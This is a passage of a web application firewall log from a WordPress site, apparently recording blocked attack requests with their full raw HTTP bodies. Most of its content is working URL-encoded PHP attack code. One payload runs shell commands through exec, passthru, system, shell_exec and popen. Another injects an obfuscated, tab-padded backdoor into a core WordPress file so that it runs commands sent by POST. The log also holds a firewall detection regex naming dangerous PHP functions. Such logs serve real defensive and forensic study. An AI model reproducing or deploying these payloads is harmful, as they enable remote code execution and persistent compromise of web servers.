20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 16:21:45","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","60秒以内累计超过6次以上非法请求,封锁180秒","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncontent-length:3324\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIHVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept:*\/*\n\nUB=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27phd_buttons%27%2C%27adodb.config%27%2C%27udb_base.inc%27%2C%27category_item%27%2C%27pur_detail%27%2C%27jpgraph_log%27%2C%27incfacebook%27%2C%27admin.k2%27%2C%27ImageEditor%27%2C%27show_info_%27%2C%27interface%27%2C%27suggestcategory%27%2C%27dejavusans%27%2C%27view.feed%27%2C%27federazione%27%2C%27minibrowser%27%2C%27mcp_report%27%2C%27controls.inc%27%2C%27reading_nrm%27%2C%27server_export%27%2C%27auctionoffers%27%2C%27Printing.module%27%2C%27display_tbl.lib%27%2C%27URIFilter%27%2C%27italian.lng%27%2C%27default_elements%27%2C%27busca_arqs%27%2C%27shortcodes%27%2C%27account_details%27%2C%27blocksadmin%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 16:22:00","50.6.7.129","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27phd_buttons%27%2C%27adodb.config%27%2C%27udb_base.inc%27%2C%27category_item%27%2C%27pur_detail%27%2C%27jpgraph_log%27%2C%27incfacebook%27%2C%27admin.k2%27%2C%27ImageEditor%27%2C%27show_info_%27%2C%27interface%27%2C%27suggestcategory%27%2C%27dejavusans%27%2C%27view.feed%27%2C%27federazione%27%2C%27minibrowser%27%2C%27mcp_report%27%2C%27controls.inc%27%2C%27reading_nrm%27%2C%27server_export%27%2C%27auctionoffers%27%2C%27Printing.module%27%2C%27display_tbl.lib%27%2C%27URIFilter%27%2C%27italian.lng%27%2C%27default_elements%27%2C%27busca_arqs%27%2C%27shortcodes%27%2C%27account_details%27%2C%27blocksadmin%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?1\ncontent-length:3347\nhost:dewenlabels.com\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27phd_buttons%27%2C%27adodb.config%27%2C%27udb_base.inc%27%2C%27category_item%27%2C%27pur_detail%27%2C%27jpgraph_log%27%2C%27incfacebook%27%2C%27admin.k2%27%2C%27ImageEditor%27%2C%27show_info_%27%2C%27interface%27%2C%27suggestcategory%27%2C%27dejavusans%27%2C%27view.feed%27%2C%27federazione%27%2C%27minibrowser%27%2C%27mcp_report%27%2C%27controls.inc%27%2C%27reading_nrm%27%2C%27server_export%27%2C%27auctionoffers%27%2C%27Printing.module%27%2C%27display_tbl.lib%27%2C%27URIFilter%27%2C%27italian.lng%27%2C%27default_elements%27%2C%27busca_arqs%27%2C%27shortcodes%27%2C%27account_details%27%2C%27blocksadmin%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));"]
["2026-05-12 16:39:31","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Parse\/Date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527737%2527%253B%2524tkn2%2520%253D%2520%2527973%2527%253B%2524tkn3%2520%253D%2520%252756d%2527%253B%2524tkn4%2520%253D%2520%2527865%2527%253B%2524tkn5%2520%253D%2520%25276c6%2527%253B%2524tkn6%2520%253D%2520%2527657%2527%253B%2524tkn7%2520%253D%2520%2527706%2527%253B%2524tkn8%2520%253D%2520%2527173%2527%253B%2524tkn9%2520%253D%2520%2527727%2527%253B%2524tkn10%2520%253D%2520%2527472%2527%253B%2524tkn11%2520%253D%2520%2527656%2527%253B%2524tkn12%2520%253D%2520%25275f6%2527%253B%2524tkn13%2520%253D%2520%25276f6%2527%253B%2524tkn14%2520%253D%2520%2527e74%2527%253B%2524tkn15%2520%253D%2520%252736c%2527%253B%2524tkn16%2520%253D%2520%2527365%2527%253B%2524tkn17%2520%253D%2520%2527f63%2527%253B%2524tkn18%2520%253D%2520%2527373%2527%253B%2524tkn19%2520%253D%2520%25276f7%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn1.%2524tkn2.%2527746%2527.%2524tkn3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524tkn4.%2524tkn5.%2527c5f%2527.%2527657%2527.%2527865%2527%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn6.%2527865%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn7.%2524tkn8.%2527737%2527.%2527468%2527.%2524tkn9%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524tkn10.%2524tkn11.%252716d%2527.%2524tkn12.%2527765%2527.%2527745%2527.%2527f63%2527.%2524tkn13.%2524tkn14.%2524tkn11.%2527e74%2527%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524tkn15.%25276f7%2527.%2524tkn16%2529%253B%2524task_processor%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527746%2527.%2527173%2527.%25276b5%2527.%2527f70%2527.%2527726%2527.%2524tkn17.%2527657%2527.%2524tkn18.%2524tkn19%2529%253Bif%2528isset%2528%2524_POST%255B%2524task_processor%255D%2529%2529%257B%2524task_processor%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524task_processor%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524task_processor%252C%2524pset_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pset_token%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524comp_dchunk%253D%2524config_manager5%2528%2524task_processor%252C%2522r%2522%2529%253Bif%2528%2524comp_dchunk%2529%257B%2524rec_binding%253D%2524config_manager6%2528%2524comp_dchunk%2529%253B%2524config_manager7%2528%2524comp_dchunk%2529%253Bprint%2520%2524rec_binding%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:6078\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nupgrade-insecure-requests:1\n\nWY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Parse\/Date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527737%2527%253B%2524tkn2%2520%253D%2520%2527973%2527%253B%2524tkn3%2520%253D%2520%252756d%2527%253B%2524tkn4%2520%253D%2520%2527865%2527%253B%2524tkn5%2520%253D%2520%25276c6%2527%253B%2524tkn6%2520%253D%2520%2527657%2527%253B%2524tkn7%2520%253D%2520%2527706%2527%253B%2524tkn8%2520%253D%2520%2527173%2527%253B%2524tkn9%2520%253D%2520%2527727%2527%253B%2524tkn10%2520%253D%2520%2527472%2527%253B%2524tkn11%2520%253D%2520%2527656%2527%253B%2524tkn12%2520%253D%2520%25275f6%2527%253B%2524tkn13%2520%253D%2520%25276f6%2527%253B%2524tkn14%2520%253D%2520%2527e74%2527%253B%2524tkn15%2520%253D%2520%252736c%2527%253B%2524tkn16%2520%253D%2520%2527365%2527%253B%2524tkn17%2520%253D%2520%2527f63%2527%253B%2524tkn18%2520%253D%2520%2527373%2527%253B%2524tkn19%2520%253D%2520%25276f7%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn1.%2524tkn2.%2527746%2527.%2524tkn3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524tkn4.%2524tkn5.%2527c5f%2527.%2527657%2527.%2527865%2527%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn6.%2527865%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn7.%2524tkn8.%2527737%2527.%2527468%2527.%2524tkn9%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524tkn10.%2524tkn11.%252716d%2527.%2524tkn12.%2527765%2527.%2527745%2527.%2527f63%2527.%2524tkn13.%2524tkn14.%2524tkn11.%2527e74%2527%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524tkn15.%25276f7%2527.%2524tkn16%2529%253B%2524task_processor%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527746%2527.%2527173%2527.%25276b5%2527.%2527f70%2527.%2527726%2527.%2524tkn17.%2527657%2527.%2524tkn18.%2524tkn19%2529%253Bif%2528isset%2528%2524_POST%255B%2524task_processor%255D%2529%2529%257B%2524task_processor%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524task_processor%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524task_processor%252C%2524pset_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pset_token%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524comp_dchunk%253D%2524config_manager5%2528%2524task_processor%252C%2522r%2522%2529%253Bif%2528%2524comp_dchunk%2529%257B%2524rec_binding%253D%2524config_manager6%2528%2524comp_dchunk%2529%253B%2524config_manager7%2528%2524comp_dchunk%2529%253Bprint%2520%2524rec_binding%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:39:33","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> oy:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Parse\/Date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527737%2527%253B%2524tkn2%2520%253D%2520%2527973%2527%253B%2524tkn3%2520%253D%2520%252756d%2527%253B%2524tkn4%2520%253D%2520%2527865%2527%253B%2524tkn5%2520%253D%2520%25276c6%2527%253B%2524tkn6%2520%253D%2520%2527657%2527%253B%2524tkn7%2520%253D%2520%2527706%2527%253B%2524tkn8%2520%253D%2520%2527173%2527%253B%2524tkn9%2520%253D%2520%2527727%2527%253B%2524tkn10%2520%253D%2520%2527472%2527%253B%2524tkn11%2520%253D%2520%2527656%2527%253B%2524tkn12%2520%253D%2520%25275f6%2527%253B%2524tkn13%2520%253D%2520%25276f6%2527%253B%2524tkn14%2520%253D%2520%2527e74%2527%253B%2524tkn15%2520%253D%2520%252736c%2527%253B%2524tkn16%2520%253D%2520%2527365%2527%253B%2524tkn17%2520%253D%2520%2527f63%2527%253B%2524tkn18%2520%253D%2520%2527373%2527%253B%2524tkn19%2520%253D%2520%25276f7%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn1.%2524tkn2.%2527746%2527.%2524tkn3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524tkn4.%2524tkn5.%2527c5f%2527.%2527657%2527.%2527865%2527%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn6.%2527865%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn7.%2524tkn8.%2527737%2527.%2527468%2527.%2524tkn9%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524tkn10.%2524tkn11.%252716d%2527.%2524tkn12.%2527765%2527.%2527745%2527.%2527f63%2527.%2524tkn13.%2524tkn14.%2524tkn11.%2527e74%2527%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524tkn15.%25276f7%2527.%2524tkn16%2529%253B%2524task_processor%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527746%2527.%2527173%2527.%25276b5%2527.%2527f70%2527.%2527726%2527.%2524tkn17.%2527657%2527.%2524tkn18.%2524tkn19%2529%253Bif%2528isset%2528%2524_POST%255B%2524task_processor%255D%2529%2529%257B%2524task_processor%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524task_processor%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524task_pr